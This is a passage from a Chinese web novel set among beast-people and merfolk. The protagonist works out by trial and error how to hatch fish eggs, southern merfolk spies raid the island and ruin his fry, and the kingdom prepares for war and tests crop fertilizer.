照猜测这样子,多半离大打一场不远了。 “族长咱们还去吗?”扑问。 照:“走吧。” 五黑振翅一飞,稳稳当当的。只需要几分钟,就能带林猫掠过王国上空,落在山后。 养殖场里,州抬头看了眼,对身边的幼崽道:“族长他们上来了。” 圆匆匆道:“正好我们找了不少野菜,让族长他们待下去给族人吃!” 圆一跑,幼崽就跟着跑。 走时惊飞了野鸭,它们低飞着冲向河里,溅起阵阵水花。 野鸭放出来养久了,河边的草都没了。河水更是浑浊,泛着腥味。 好在不是兽人们的饮用水,上游一段也挡着,野鸭上不去。 “族长!”幼崽们跑着跑着变成了林猫,兽皮衣掉了一地。圆还得在后头帮他们捡。 捡着捡着抱不住,又不耐烦,干脆又往草丛上一扔。 管他呢,反正兽皮脏了挨收拾的又不是她。 照几个下了食人鹰,看到幼崽扑过来,先掏了掏腰上的兽皮兜。 幼崽往他跟前一顿,乖巧地用大眼睛望着他。 照:“一个幼崽两颗。” “嗯嗯!” 他将兽皮兜放下,里面是麦芽糖。兽人们做饼的时候额外弄出来哄幼崽的。 这个金贵,要的麦子多,兽人们只一次做些,也不卖。 照虽然是个严肃的族长,但养幼崽上他比谁都重视。 就是可惜今年没地方让他们分开住,不然部落里又能多上些小幼崽。 “去玩儿吧。” 幼崽拿到想要的,乖乖道了谢,然后蜂拥转头,撒欢儿似的跑远了。 圆与幼崽错身而过,手上还被塞了两颗麦芽糖。 她往嘴里塞了一颗,被甜味儿迷得眯了眯眼,美滋滋地咂吧了几下。 她上前道:“族长,我们摘了些野菜,等会儿你们下去时带上。” “你们留着吃。”照道。 圆:“山上很多,吃不完。” 照:“那好。” 说话间,扑已经进到地里。 这些天春雨不断,天气暖和。 踩进去走了几步,脚上就沾了不少泥土。 扑蹲下细看,见着一抹绿色,高声道:“族长,发芽了!” 圆蹲在土地边缘,果见的一抹绿芽顶起一块湿润的泥土。嫩生生的,下面的白根都隐隐可见。 照比兽人们镇定些,他挨着看过去,除了少些泥土铺得厚实一点的地方没有发芽,其他的都冒出来了。 照喜上眉梢,道:“不白费咱们那么小心。” 他们头一次种地,好多都不会。 好在山下就是兽人们的地,林猫兽人就时不时拿着麦饼去取经,好歹是种出来了。 但后续的照料更麻烦,争争说大意不得。 想到自家小崽,照面上的喜色收敛了些。 他道:“扑,待会儿你们直接回去,我下山去城堡那边看看。” “好!” 城堡。 烬在议事厅接待第二环岛过来的各部落领头的兽人。 早在烬刚被找回来时,他就已经在筹备彻底解决南部人鱼问题的事了。 按照他的设想,他解决了南部最精锐的人鱼战士,余下的下一任人鱼王就能清理干净南部残余。 但他回来了,这事儿还得他来。 所以从一回来开始烬就安排兽人研究铁器,制作武器,清理卧底。训练兽人,储备食物,也没歇下。 回来大半年,他已经一步一步做到了现在。 但烬要的是百分百的胜利,斩草除根,所以他需要更多的兽人。 在解救完南部岛上的奴隶兽人之后,他一方面让兽人送愿意回去的兽人回去,一方面让人鱼去他们部落商谈组建第二环岛兽人战士队伍的事情。 现在时机快要到了。 第二环岛的兽人也在开春之后出发,到现在到了人鱼王国。 交换的东西已经谈好,烬只招待他们说了些人鱼王国里的要求,领着兽人们吃了一顿饭,随后便安排他们去岛上训练。 城堡外,灿看到这些兽人消失在后山,急匆匆跑去,一把抓住秋。 “秋!你说好的农具呢,到底什么时候做出来?” 秋:“我什么时候跟你说好了?” 灿:“我不管,我要被他们堵疯了。” 秋默默揉了一把才他肩膀高的少年脑袋,道:“别想了,那边武器都得赶着做呢。” 灿顺着他的目光看向后山,“第二环岛的兽人也要?” “不然呢,咱有刀,让人家用爪子去打合适吗?” 灿:“不合适。” “那不就得了。”秋甩开他就走。 灿追了两步,跟不上他,最后沮丧地转身。 菱就站在他身后,靠着鹤,幽幽看他。 “这么久了,没成?” “没有。” 菱:“没用。” 灿:“呜……” 菱抬眸,瞥见照往城堡来。他赶紧站直,抓着伴侣的手笑得温柔。 灿看着他变脸,暗自撇嘴。 “阿父,你怎么来了?”鹤问。 “还不是今日兽人进城的事,我们担心是不是要打仗了,还有你弟弟还没回来呢……” 鹤道:“你放心,争争没事,打仗也没那么快。” 那就还是要打了。 照点点头,思索着又回去了。 他在想要不要囤点粮食,到时候一乱,怕生意不好做。 * 孵化鱼卵并没有想象中的那么简单。 第一批鱼卵,白争争只捞了几十枚。 就地取材,直接用海水养在单独收拾出来的屋中,但一晚上过去,鱼卵就变成了白色。 三个幼崽趴在陶缸边兴奋道:“熟了!要出来了!” 白争争将三个幼崽薅下来,平静道:“死了。” “怎么会呢?我们又没动它们。”风也在陶缸边探头,还伸手把水草捞起来细看上面的鱼卵。 活着的是他们在水里见到的那种晶莹剔透的,里面能清晰看到未成型的小鱼。死的就是白色的。 只一晚上,一串鱼卵里死了大半。 白争争道:“捞吧,死了的不能留在里面。” 年道:“争争,咱养不活啊。” 清给了他一肘子。 “胡说,我们之前又没养过,养多了肯定养得活。还养得好。” 年看了眼白争争,默默闭上嘴。 也对,第一次嘛,很正常。 雁顺着白争争的手臂爬上他的肩膀上坐下,看着水面,毛毛脸上满是严肃。 “可是为什么呢?” 芽:“是我们捏坏了?” 清皱眉,看着盆子里捞出来的死鱼卵道:“但我们已经很小心了。” 白争争将手沉入缸中,水微凉,跟海中相比并没有什么变化。 龟鸣看了眼,也将手伸进去。 “呜呼!比中午的水凉快!” 白争争侧头问:“凉快?” “对啊。”龟鸣是海洋兽人,对水温感受明显些,“但还是没有海里的舒服。” 年:“难道是这个原因?” 白争争道:“或许。” 但房子里已经在阴凉地方了,再凉快,白争争只能想想其他法子。 他又走了海中一遭,海面上被他们放了网箱,网箱里也有些鱼卵,看着确实还好好的。 可能温度的问题了。 龟鸣道:“还是在网箱养吧。” 白争争道:“再试试。” 水缸里还有些鱼苗。 但第二日,鱼苗再次减半,所剩无几了。 洋:“再捞?” 龟鸣:“走吧。” 这次兽人小心得不能再小心,鱼卵捞上来之后就放在灌满了海水的水缸里。 为了试验是不是温度的影响,白争争将鱼卵分作三份,一份放刚挖出来的地窖,一份依旧放在屋中,一份放在岛上最凉快的溪涧里。 过了一晚上,第二天兽人们看时,拍腿道:“奇了!” “活了?!”年惊喜问。 龟鸣呵呵一笑:“都死了。” “网箱里的呢?”年边问边跟着白争争往海边跑。 他们将鱼卵从网箱里捞起来一瞧,死了少些,但大半依旧是好的。 清看白争争还有意继续往水缸里捞,也忍不住问:“争争,要不咱们干脆在网箱里养?” 洋瞧着那小拇指大的网箱眼儿,摇头道:“不行,小鱼孵出来都得钻出去。” 寻点点头,是这样的。 清:“那再做个小的?” “忒麻烦!”风当即后退两步,一脸抗拒。 冬季他们做网箱,用人鱼王国这边特有的一种植物。需要剥皮,沤皮,风干,再拉丝,捻线,再编织…… 只编一个,手都差点没了。 最后还是烬看着不行,让菱分派了些兽人过来帮忙才成的。 再做,那是要命啊! 白争争却一直没说话,沉思许久道:“温度的影响很大,但也不是全部,昨天的鱼卵可都没了。” “那是什么?” “不知道。” 白争争也是两眼一抹黑。 他中午吃饭的时候都在想,都是同样材质的坛子,海水是海水,按理说湖水里的温度跟溪涧的温度很合适,但却死了一片…… 为什么呢? 沐:“有没有可能,见了光?” 白争争一顿,才知道自己不知不觉说了出来。 他迷茫:“鱼卵见不得光?” 沐道:“我只知道大扁鱼喜欢在黑黢黢的草丛里产卵,浮上来的一般都是死了的。” 白争争不懂,但尝试了一下。 他将水缸口用树枝遮掩了些,第二天一看,果然好了些。 但也只是一些。 年还嘿嘿笑道:“也不是那么难养嘛。” 兽人紧绷的心总算可以松懈一下,但没松懈个几天,鱼卵又死了一片。 “啊啊啊啊!第几次了!”龟鸣都抓狂了。 白争争摆摆手:“这才哪儿到哪儿,再试试。” 于是又重复之前的步骤,又捞。 雁三个小不点围坐一起,兽人们干着活儿,还得绕开他三个。 只听芽道:“这次又是什么问题?” 肉:“热了!” 雁:“胡说,岛上一直是这样的,没冷没热。” 芽胡子颤了颤,滚地一圈道:“好难啊!” 白争争看着水,喃喃道:“上次三天没换水。” “都是海水,为什么要换!”幼崽爬起来,围着白争争,眼里都是求知欲。 雁道:“海水不干净了吗?” 白争争道:“虽然每天死了的鱼卵少了,我们也捞起来了,但水缸里的水不流动,久了难免会有细菌,也就是脏东西……” “那……”兽人们互相看一眼,又学着白争争道,“再试试。” 此后半个月,兽人们不断重复着捞鱼卵,死掉,再捞鱼卵,再死掉…… 感觉他们不是来养鱼的,是来折腾鱼的。 “啊!我不干了!”龟鸣往地上一摊,幼崽看到,猛地扑上来一推。 龟鸣打着转,伸长脖子看着幼崽惊恐道:“晕晕晕晕!” 白争争撑着陶缸,眼睛都熬红了。 “争争……”清担忧看着他。 白争争紧紧抓住陶缸边缘,目光坚定道:“再来!”【魔蝎小说 mo xie xs .c om】 70-78 第71章 第 71 章 平静的发疯 又半个月过去, 海底的鱼卵陆续孵化,小鱼成群结队,在海草中穿梭。 重新加密过的网箱里,两指宽的小鱼也在肆意游动。 除此之外, 岛上新挖的四四方方的几个水池中, 引了海水, 里面的鱼小的刚孵出来, 大的更是已经长到小拇指大。 上岛一个月, 兽人们各个早起晚睡, 熬得毛都掉了不少, 终于能把鱼卵给孵化出来了。 屋内, 照例一一看完鱼的兽人们坐下来,对视一眼,齐齐往兽皮上一摊。 “啊!我的太爷爷啊,总算孵出来了。”龟鸣双眼无神,眼袋都快挂到嘴角了。他撑着四肢, 隐隐听到了骨头响。 不只是他, 洋跟寻两个人鱼都一脸颓废, 头发暗淡,鱼鳞都少了点光泽。活像一下老了十岁。 白争争靠在墙上,闭眼养神。 他瘦了些,像耗费了不少精力,眼里无神。 养鱼他是一窍不通,靠着摸索还有人鱼们以及龟鸣的帮助才能这么快解决孵化鱼卵的事。 要没有他们,还不知道要弄多久。 一个月,已经算少的了。 养鱼第一阶段,可算是成了。 白争争给兽人们放假两天, 自上岛来之后,他们还没好好在岛上逛一逛,看一看。 岛上有不少特色植物跟能吃的果子,风景也好,让兽人们放松放松,劳逸结合才好继续干活。 白争争说完放假,兽人们先回各自屋里倒头呼呼大睡。睡够了,再精神抖擞地跑出去撒欢儿。 雁跟着清和年出去,走了两步看白争争没出门的意思,问道:“争争,你不去吗?” 白争争道:“我再睡会儿。” 雁正想要不要也留下,就被芽和肉一左一右拉走了。 顿时,附近只剩下他一个,白争争又倒在床上躺了一会儿,然后才起身出去。 陶罐他们试了几次,最后不行,又在海岸边不远挖了水池。 四个不大不小的水池,深度两米。 不过露天环境,林子里多鸟虫,要时不时看着。 白争争在池边坐下,透过树缝,对着海面发呆。 他之所以坚持岸上养,是想弄明白人工孵化的方法。 这里离王国还是太远了,来往不便。等这批鱼苗成功养大一些,他打算全运回去的,直接在王国附近搞养殖。 网箱现在全放下去了,里面都是鱼苗。 有一半是他们自己孵化的,有一半是直接从海里捞的大的。 这片海草丛中起码百万计的鱼苗,白争争也打算带走一部分。 入夜,兽人玩儿够了回来吃过饭,各自回了屋。 池子就在他们屋后不远,用树枝拦着。 只刚开始一段时间晚上他们轮流去守着,后头岛上又有人鱼巡逻,兽人们晚上就不怎么看着。 白争争一个人一个屋,熄了灯都还在琢磨着鱼苗带回去养在哪里。 迷糊快要睡着之际,忽然听到一队脚步声从屋后跑过。 白争争骤然惊醒,细听了一会儿,兽人们像是在找人。 他悄悄起身,才走到门边就没了声音。 “争争,争争……”门外有兽人轻轻地敲门。 白争争听着像沐的声音,将门打开,屋外的人鱼冲着他咧嘴一笑。 “争争,我们找了你好久……啊!” 白争争一拳砸在他鼻子上,在兽人动手之前,高叫:“在这里!” 人鱼暗骂一声,当即亮出利爪,直冲着白争争而来。 白争争猛地往地上一蹲,躲开后,又猛地踩了下人鱼脚背。 霎那间,隔壁几个屋子的兽人跑来。 年道:“争争!” 洋跟寻进了屋,直直冲着人鱼打去。却不想他滑得很,往窗口一跳就溜走了。 洋追出去,寻留在原地守着白争争。 清抱着三个幼崽进来,忙抓着白争争问:“受伤没有?” 白争争看到兽人队伍冲着动静追去,摇了摇头道:“没事,我躲得快。” 他面上冷静,看向寻问:“那人鱼是什么时候来岛上的?” 寻道:“晚上,他面生,刚一露面就有兽人警惕。大家要抓时,发现他还有同伙上岸,他也给跑了。” 白争争在屋里看了一圈,忽道:“龟鸣呢?” “啊!!!” 是龟鸣的声音。 尖锐的叫声激得兽人们一惊,顿时往外跑去。 可当兽人们赶到时,却发现那人鱼早已经被抓住,死死压在地上。 龟鸣一边叫,一边敲得他脑袋邦邦响。 “怎么了?”年问。 龟鸣都快哭了,打人的手却没停。 “你们看池子!” 白争争吓得忙往他们旁边的池子里一看,所有鱼苗都浮起来了,月光下,就跟泛着波光的水面一样。 “你做了什么!”年只觉脑中忽然空白。 努力了一个月的成果,一夜就没了。 人鱼被迫仰起头,龇牙疼道:“你们搞什么,有毛病在岛上挖坑,不然我早跑掉了!” 洋自责道:“怪我们,追着他就冲进池子里,搅和一通,就没了。” 白争争有些晕,脚步都踉跄了。 别看水池不大,可里面有上万的鱼苗。这可是他们辛苦了一个月才勉强养出来的。 “网、网箱呢?”年问。 被压趴在地上的人鱼问,更是恨声道:“你是说后头那些碍事的东西吗?好险恶的用心!把我们的鳞片都刮下来了。” “所以呢?”龟鸣追问。 那眼神像要将人鱼当场掐死。 人鱼莫名感觉自己坏了事,缩着脖子道:“所以什么,我又没动。” 风急急忙忙跟桐一起去看了眼,海上哪里还有网箱,岸上倒是不少撕破的网。 “啊啊啊啊!我杀了你!”龟鸣看着两林猫苍白的脸,打地鼠似的,把人鱼脑袋敲得邦邦响。 白争争忽然抓住他的手。 龟鸣:“争争,你放开,我要气死了!” 就算鱼苗没了能再养,就算能直接从海里捞,可那是他们辛辛苦苦看着,一点一点从鱼卵孵化出来了。 天知道他们为了这点小东西花了多少时间和精力,熬得人都快疯了! 现在,就被这家伙弄死了! 白争争:“让一让。” 龟鸣被他冷如冰的声音冻住,他下意识往旁边挪了挪,白争争木着脸,爪子飞快往人鱼脸上抓。 “你知道我们为了养这鱼多小心吗?” “你知道这鱼多难养吗?” “你知道你弄死了多少兽人的口粮吗?” 白争争爪子挥出来残影,兽人们愣住一会儿,反应过来忙的将白争争抱住。 “可以了可以了,晕了!晕了!”清急道。 年看了眼人鱼脸上带血的红痕,哆嗦了下,忙给洋使眼色,让他们快点将这玩意儿带走。 白争争平静地发疯,在人鱼被拖走时,还补了两脚。 “争争?”清小心翼翼看他,不敢松手。 白争争深吸一口气,缓缓吐出来。他拍了拍腰上的胳膊,道:“安心,我就发泄一下。” 不然他也会跟龟鸣一样,得崩溃。 “风,网箱那边……什么情况?” 风:“一个不留。” 桐:“全破了,碎得不能再碎。” 白争争猛地转身。 不行,他需要再去发泄一下。 “争争!别冲动,别冲动!”幼崽抱腿,清紧紧抓住白争争的手,“别把他弄死了,那人鱼显然是南部来的,兽人们还没问出东西来呢,肯定有用。” 白争争气儿不顺,闭着眼睛自我催眠了很久,才摆手道:“我不去,松开吧。” 等清犹豫着放了,才慢吞吞地往屋里挪。 白争争看寻还跟在身边,问道:“抓了多少兽人?” 寻:“目前是两个人鱼,一个给跑了。” 白争争:“他们来干什么?” 寻:“打探各个地方战士的分布跟数量。” 白争争点燃了油灯,坐下来,“可是我听到敲门声,他喊的是我的名字,还学着沐的声音……” 只有对岛上有一定了解,才会这样。 那很显然,人鱼是盯上他了。 寻:“兴许是看在你在这里,动了带走的念头。” 今晚大伙儿都没心思睡了,清有些紧张道:“那争争,我们是不是要回去啊?” 白争争看向寻。 寻道:“我们已经通知了王,听他的安排。” 而且王国里现在也不怎么安宁,王在清理与南部有关系的兽人。 “不过你们放心,他们也就只敢派几个人鱼出来,干不了其他。” “那争争要是没察觉,都快被带走了。”清拧眉,“要不咱回去吧。” 龟鸣:“对,回去。” 不养这什么鱼了,大不了等这些长大了他们直接捞起来吃。不就是要走远一点,出海几个月嘛,没问题的。 白争争道:“怕什么,不走。” 白争争没再说话,靠着墙壁冷静了半夜,第二早上天一亮,就立即去看那些网箱。 当亲眼见到那些跟垃圾没什么区别的网箱残骸时。他还是被一口气憋得难受了一阵。 “做了一个冬季,就这么没了。” 也是辜负了兽人们的心意。 兽人们一个比一个颓丧,脾气大的,都捏着拳头要继续找那人鱼算账了。 不过是些只会躲藏的人鱼而已,不值得白争争为此半途而废。 他打起精神,又重新清理池子,再引水进来,捞些鱼卵放上。 这一次再从头开始养,好在有了一点经验,没再出现什么大问题。 孵化一次成功,白争争心里渐渐有底。 出来就为着育苗孵化一事,现在小规模养能行,就看扩大一点规模会不会出问题。 白争争心中沉静,也不问那晚上人鱼的下落,只管专心养鱼。 网箱用不上了,海草里鱼卵也大半孵化出来。 白争争让龟鸣下水,一天里大半时间在海草里遛一遛那些小鱼。 鱼卵孵化长大些后,白争争打算在海里喂养。 一个用网箱,一个试试放牧。 海中放牧,虽然听着奇怪了些,但这些鱼追逐水草而生,有海洋兽人看着,跟在陆地上应该也是一个道理。 日子照常过,就在白争争打算传个消息回王国报平安时,屋前一阵响动。 白争争走出门看了看,就见高大的人鱼匆忙而来。 白争争见到烬的第一眼,愣在原地。 等他走近了,脸上传来微凉的触感,白争争下意识偏头看着他,才后知后觉道:“你怎么来了?” “不高兴?”烬摸着他有些瘦了的脸,眼底闪过一丝心疼。 “高兴!”喜悦狂风一般席卷心头,白争争一蹦,给了烬一个熊抱。 烬抱着他进屋,脚勾上门,随后在凳子上坐下。 “岛上来了南部的人鱼,是我疏忽。”他说着,拉过白争争的手臂看完,又试图撩起白争争的衣服。 那薄薄的小腹才露出一截,白争争吓得抓住他的手,红着脸道:“大白天的,别乱来!” 烬一顿,笑着道:“我看看你有没有受伤。” “我好着呢。”白争争脑袋往烬肩膀上一磕,“就是头一批的鱼没了。” 烬:“没受伤就好。” 背上一重,白争争忽然被他紧紧抱住,像是后怕,勒得他有些呼吸困难。 白争争软趴趴松了劲儿,软化在他怀里。 “我好想你。” 他含糊说着,脑袋在烬脖子跟长发上乱蹭。 烬亲吻伴侣的额头,拥着他也舍不得放开。 他低声道:“我也想。” 白争争忍不住翘起嘴角,可转头又闷闷道:“但是我可能还要在岛上待一段时间。” 他的鱼卵孵化记录还不完全,大扁鱼养殖手册也还没开始写,连试验的对象也才刚刚全军覆没,重新来了个二次孵化。 只有这边样品多,回去就没得鱼卵给他折腾了。 烬:“不着急,过段时间再回。我多安排了些兽人过来。” “烬!你来了啊!”年一把推开门,见抱在一起的两个兽人,猛地将门一关,抓着后头的清就跑。徒留幼崽跟龟鸣几个杵在原地,不知所措。 不是,怎么了? 烬见白争争一蹦而起,赶紧将人捞回来。 放他站稳了,才去拉开门,面上看不出来高兴还是不高兴。 他道:“进来吧。” 兽人们往里走,幼崽望着烬,差点摔个跟头。 白争争扶他们一把,问:“你们想不想回去?” 烬难得过来,要是幼崽想回去,顺带跟他一起走。 雁问:“争争你回吗?” 白争争:“我还不着急。” “那我们也不回。”芽道。 虽然岛上不怎么好玩儿,也没有其他玩伴,但只要跟着争争,他们就觉得心里踏实。 白争争看他们这样,这事儿就没再提。 兽人们也是知道烬来了,过来看看而已,再问了问远在王国里的家人跟部落,确认没事儿就各自散去。 烬牵着白争争出门,往前头走。 兽人们训练的声音传来,走过房屋,白争争见队伍里领头的兽人眼里闪过一丝诧异。 “秋怎么也来了?” 烬道:“他在我放心一些。” 房前空地极大,兽人们头发湿漉漉的,像刚从海里爬起来。 他们举着武器互搏,一个个下手狠戾,眼含凶气。 烬道:“要不要住到前面来?” “不用,都住习惯了。南部的兽人能一次上岛是侥幸,再有二次,就是兽人们能力不行了。” 白争争笑道:“但我相信兽人的能力,所以不会有第二次。” 烬心一暖,轻轻顺了顺伴侣身后的长发。 他唇动了动,还是开不了口。 再等等吧,争争早知道早操心。 “还有一件事。”烬牵着伴侣往另一个方向走,“菱的小崽子生了,是个小人鱼。” “生了!”白争争惊喜道,“什么颜色的?雄兽人还是亚兽人?” 烬:“银白色,雄兽人。” “嗯?那不结合了他俩的颜色?” “对,挺好看的。” 白争争:“那你回去的时候帮我把我给小人鱼准备的礼物给他们,东西放在箱子里。” 烬:“好。” 他知道那是白争争白争争提早最备好的,一个银做的贝壳一样的东西。争争叫银锁。 白争争对小人鱼好奇,便一直跟烬打听。 他俩在散步时,幼崽们跟龟鸣下海玩儿了。 烬带了不少林猫兽人做的麦饼来,幼崽们一个抱着比脸还大的,坐在龟鸣背上啃。 时不时再掰下来一块,塞到龟鸣嘴里。 麦饼的碎屑落到水里,逐渐聚集起来一群讨食的小鱼。龟鸣不敢动,小声道:“你们看。” 肉低头,一大块麦饼从嘴巴边掉下去,砸在水中。 瞬间,无数小鱼蹿过来,争夺着这一口食物。漂浮在水上的麦饼被推来推去,幼崽看得专注。 肉却一脸可惜,试图从水里捞起来。 芽默默护紧了自己的麦饼,低声道:“它们喜欢吃。” 雁眼睛亮了亮,“对,他们喜欢。” * 烬这次在岛上待得久些,不过也只三日。三日后,就回了。 白争争依旧养着鱼,只偶尔发现幼崽们吃饭的时候总要消失一阵。再有,秋来了之后岛上的兽人们训练得更勤了。 王国里。 人鱼小崽子生下来就会水,长得很结实。 菱去哪儿都喜欢带着他,就因为自家白白嫩嫩的小崽又乖又香,长得很很像他的伴侣。 崽子出生后,他做事便利些,加上烬现在不断推进南部的事情,菱休息好了也立刻回来帮忙。 他管王国的事情,也管粮食生产。 正是春季,播种下去一个月有余的种植已经快速发芽,并长到巴掌大。按照兽人们以往的耕种模式,只需要将田中的杂草去除就没有别的事了。 但菱却让管着人鱼族田地的云猫兽人们留出一半的土地,施一次肥。 云猫兽人向来不问,既然人鱼要他们这么干,那他们就这么做。 他们从人鱼运过来的肥堆里一筐一筐铲起来,然后往田里运。 每一株苗隔巴掌那么宽的距离,将肥料撒下去。 这些都是人鱼族自己研制出来的东西。 听说用了什么果皮、鸭粪之类的东西,味道不大,就跟土一样。 人鱼族地里的情况被其他兽人注意到,便有人来问。 云猫也只是照实说了,哪想到第二天一早,灿又忙起来了。 “有没有肥料?” 灿:“没有没有。” 他知道去年菱就让兽人们捣鼓这东西,但却没弄多少,菱也没说要卖。 “怎么没有,我们都看到你们地里用了。” “就是,我们这次真的买,你跟管事的兽人说说。” 兽人们七嘴八舌,又一根筋,没要到结果就是不走。 上次他们错过了农具,这次说什么都不会错过这个。 反正人鱼族不会自己坑自己,跟着他们用,肯定有好处。 兽人们盲目相信人鱼,但灿确实拿不出来。 最后争来争去,忽然见城堡侧边被人鱼用刀架着脖子押走的兽人,吓得胆寒,赶紧缩在一起偷看。 “那兽人是谁?” “谁认识,多半是犯了事的。” “还有可能惹了人鱼。” “可这段时间都押了好多个了吧。” “可不是,光我看着就有三个……不对,有四个了。” 灿见一堆兽人蹲在他门口看着城堡讨论,这半遮半掩的样子又没完全避着他这个人鱼,有些无语。 他道:“让一让,别挡着做生意。” 兽人们后知后觉看向他。 蛐蛐人鱼,被人鱼听见了怎么办? 兽人们抓着灿就问:“你是人鱼你知道,最近王国怎么抓这么多兽人出来,他们干什么了?” 灿:“我不知道。” “你是人鱼你不知道?” 灿眼神闪烁,压低声音道:“我猜啊……” 兽人们也鬼鬼祟祟低头,探耳听着。 灿:“我猜肯定是闹事的,堵在人家店门口不让做生意。” “怎么可能,你还是年轻了点。”兽人还理直气壮拍了拍胸口道,“你看看,我们不也堵着,怎么就没见他们来抓。” 灿气得笑了两声。 原来知道啊。 “我也纳闷。”说着他起身,“可能是他们不知道,我去告诉他们一声。” “诶!你干什么。”兽人们立马来拦,笑着道,“我们想跟你正经做生意,什么堵不堵的。银币你都不要了?” 灿:“但我说了,现在没啊。” “那你去问问嘛。” 还是绕回到这个话题上,灿无力极了。 “真没有,有的话我们能不卖吗?” 城堡门口,菱站在那里,看着灿在哪儿唾沫横飞,说得抓狂。 鹤抱着自家小崽,看着他吐了个泡泡,眉眼顿时柔和。 他分出神来,看了眼那店门口,问自家伴侣道:“后山不是堆了不少,不卖吗?” 菱道:“不着急,我们自己试了才行。” 先前都是开辟一块地小打小闹,虽然成功了,但难保有意外。 这次人鱼族留出一半的土地来试用肥料。 成了,那就产量翻倍,要是不成,损失也只是他们人鱼族的。 粮食重要,兽人们又不熟悉用量,拿过去乱用是肯定的。 等他们这次当着大家的面儿用完看效果,再试试比较一下最好的用量。 要是最后种出来的粮食好,自然是高兴事儿。差的话,他们也还有能收其他部落的粮食。 总而言之,没有绝对把握,这东西还不能拿出来。 第72章 第 72 章 归家 岛上兽人训练强度很大, 饿得快,所以吃饭的点儿很准时。 秋刚叫兽人散开,大家跟饿死鬼投胎似的,呼啦啦一阵风涌向右侧的厨房。 刚出了大汗的兽人裹挟着热气与臭味儿, 但没谁嫌弃谁, 他们眼中满是对食物的渴望。 沐这些做饭的兽人已经是熟练工, 兽人到了只管不停地打饭打菜。 菜是大锅菜, 兽人们训练需要肉, 那菜便是鱼肉与这个季节的野菜大乱炖。 味道虽然一般, 但量大管饱。 等这些兽人们陆续吃过, 厨房前的湖泊边兽人少了些, 白争争才带着林猫们过去。 秋见了冲着他们挥挥手,“这边。” 白争争端着碗走了过去,在他一旁坐下。 秋只腰间围了兽皮,面上带着训练过的薄红,头发都是湿的。身上应该简单用水擦过, 看着很清爽。 秋见白争争碗里饭菜都没满, 问:“你就吃这么一点儿啊?” 白争争:“差不多了。” 秋对比了下白争争的胳膊跟自己的, 足足小了一圈,他道:“要不你也抽空过来跟我们训练,我看你现在也没那么忙了。” 白争争:“算了,我怕我训练完就没精力养鱼了。” 他们那强度,能把人练死。 雁几个挨着白争争闷头刨饭,吃得差不多了,互相对视一眼,悄悄摸摸往厨房后头走。 白争争余光瞥见,起身道:“我有事, 你慢慢吃。” 这群小崽子每次吃饭闹失踪,跑了好几次了。要不是清忽然提起,白争争起先还没注意到。 他倒要看看他们干嘛去了。 白争争跟上幼崽,清几个见了,也赶紧放下碗筷跟上。 只见三个幼崽捧着碗,顺着小路一路疾驰,跑到了海岸边。 清惊怒,皱紧了眉头。 白争争也是心神一凝,也顾不得动静大不大,赶紧追过去。 一出林子,就看三个幼崽站在那峭壁边,将碗里的剩饭往海水里倒。 白争争不敢出声,怕惊得他们掉下去。 他跟清对视一眼,猛地上前,抓着三个小崽子的手腕连带陶碗一起捞回来。 三个崽子受惊,手上一松,白争争顺势拿过陶碗往后一送,被年接了过去。 雁见白争争黑着一张脸,心虚地缩了缩脖子。 没等他狡辩,清手上拎着的肉就道:“错了!” “哪儿错了?”清揪住小胖墩的耳朵,恼道。 他们平日里千叮咛万嘱咐,不让幼崽单独往海边跑,结果倒好,天天躲着往这边来。 眼就就要挨揍,芽嚎道:“我们是来做正事的!” 后头的风笑了声,道:“哦,你们做什么正事?” “你们自己看!”芽往水里一指,兽人们往水里一看,那密密匝匝的鱼啄食着幼崽倒下去的剩饭,鱼多得水里都是一团团的黑影。 “嚯!” 幼崽仰头,得意洋洋等待接受夸奖。 却不想脑门一疼,几个成年兽人围拢了来,一人敲一下,脑门都给敲红了。 肉跟芽两个幼崽含泪,捂着额头控诉道:“为什么打我们?” 雁躲在白争争身后,低着头,默默缩小存在感。 是不是蠢,这个时候了都还能翘尾巴得意。 白争争可不容雁装鹌鹑,将她也一同拎出来,三个幼崽并排站好。 两个挨了揍的幼崽泪眼汪汪,控诉着雁不能共苦,不是好伙伴。 雁悄悄看了一眼包围他们的成年兽人,见他们虎视眈眈的模样,抓着兽皮衣,将脑袋压得更低,做出了一副诚恳认错的模样。 她含着哭腔道:“错了,不该来海边,不该倒饭。” 幼崽示弱,本就是个小雌兽人,比芽两个面上看着更乖一些。两眼泪汪汪的,看得兽人们心软。 可看见白争争面无表情的脸,顿时又收回了心疼。 这小崽子最是聪明,能屈能伸,也是三个里面主意最大的。 幼崽被带了回去,面壁思过。 三个小的从高到矮站,直面着粗糙的墙壁。 桐站在门口,盯着他仨。 雁耳朵动了动,发现房里的成年兽人只有桐一个,正软了骨头想耍赖,还没转头,肩膀上就被桐手中的木棍点了点。 “站好。” “呜……累。”旁边的肉也嗷嗷道。 桐:“争争说了要站到吃饭。” 雁:“可是我们也是为了帮争争啊,你看我们把鱼养得多好。” 桐面无表情,“行,我跟争争说。” “不行!”三个幼崽立马站得笔直。 告诉清都行,就是不能告诉争争。不然争争会把他们送走的。 桐:“那就好好呆着。” 海边,白争争往水里扔下掰开的甜果子,瞬间,鱼儿自四处而来,果子被啃食一空。 那鱼群黑压压的,全是小鱼。 一个个如狼似虎,几下吃完果子,又销声匿迹。 清看着水面道:“争争,你不会也想像幼崽一样这么养鱼吧?” 白争争好笑道:“我倒是想,可不行啊。” 以前就听说有人像江里投喂食物,把野生鱼养成了宠物鱼。那密集的程度,随便捞一网都得几十斤。 幼崽这点儿投喂就是小打小闹。 兽人现在食物并不充足,粮食也不能浪费,这样行不通。 “再有几个月,这片海草吃得差不多,它们就应该会离开了。附近这样的海草群还没摸清楚。” “多简单的事,我们捞鱼的时候顺带看看就是。”沐从树林中走出来,笑道。 他也是看几个林猫兽人往这边跑,跟着过来看热闹。 * 日子恢复平静,白争争看着鱼苗一天天长大,也开始重新收集能编织网箱的植物,打算再做些。 等到鱼半掌大,放入网箱中,割海草当饲料,慢慢也就养起来了。 但与此同时,海岸边的大扁鱼幼苗成群结队,即将往深海迁徙。 兽人们晴眼睁睁地看着守了这么久的鱼跑了,不用白争争说,洋就派了自己队伍里一小队的人鱼跟去。 洋立在龟鸣背上,看着海里黑龙一般的鱼群,道:“争争,海里真能放鱼?” 白争争:“按理说只要将它们引到食物充足的地方,它们就能待很久不走。” 水草长得快,沐带着人鱼摸清了附近长满了水草的地方。 大扁鱼吃过一圈,海岸边的水草也差不多恢复了。如此反复,养到一年份的大扁鱼就可以吃。 不过这是理想化的想法,能不能成,得人鱼们试一试才知道。 那一小队的人鱼随着大扁鱼的幼苗远离岛上,确认他们停在了下一片地方离岛上不远,能待上十天半月,便又回来了。 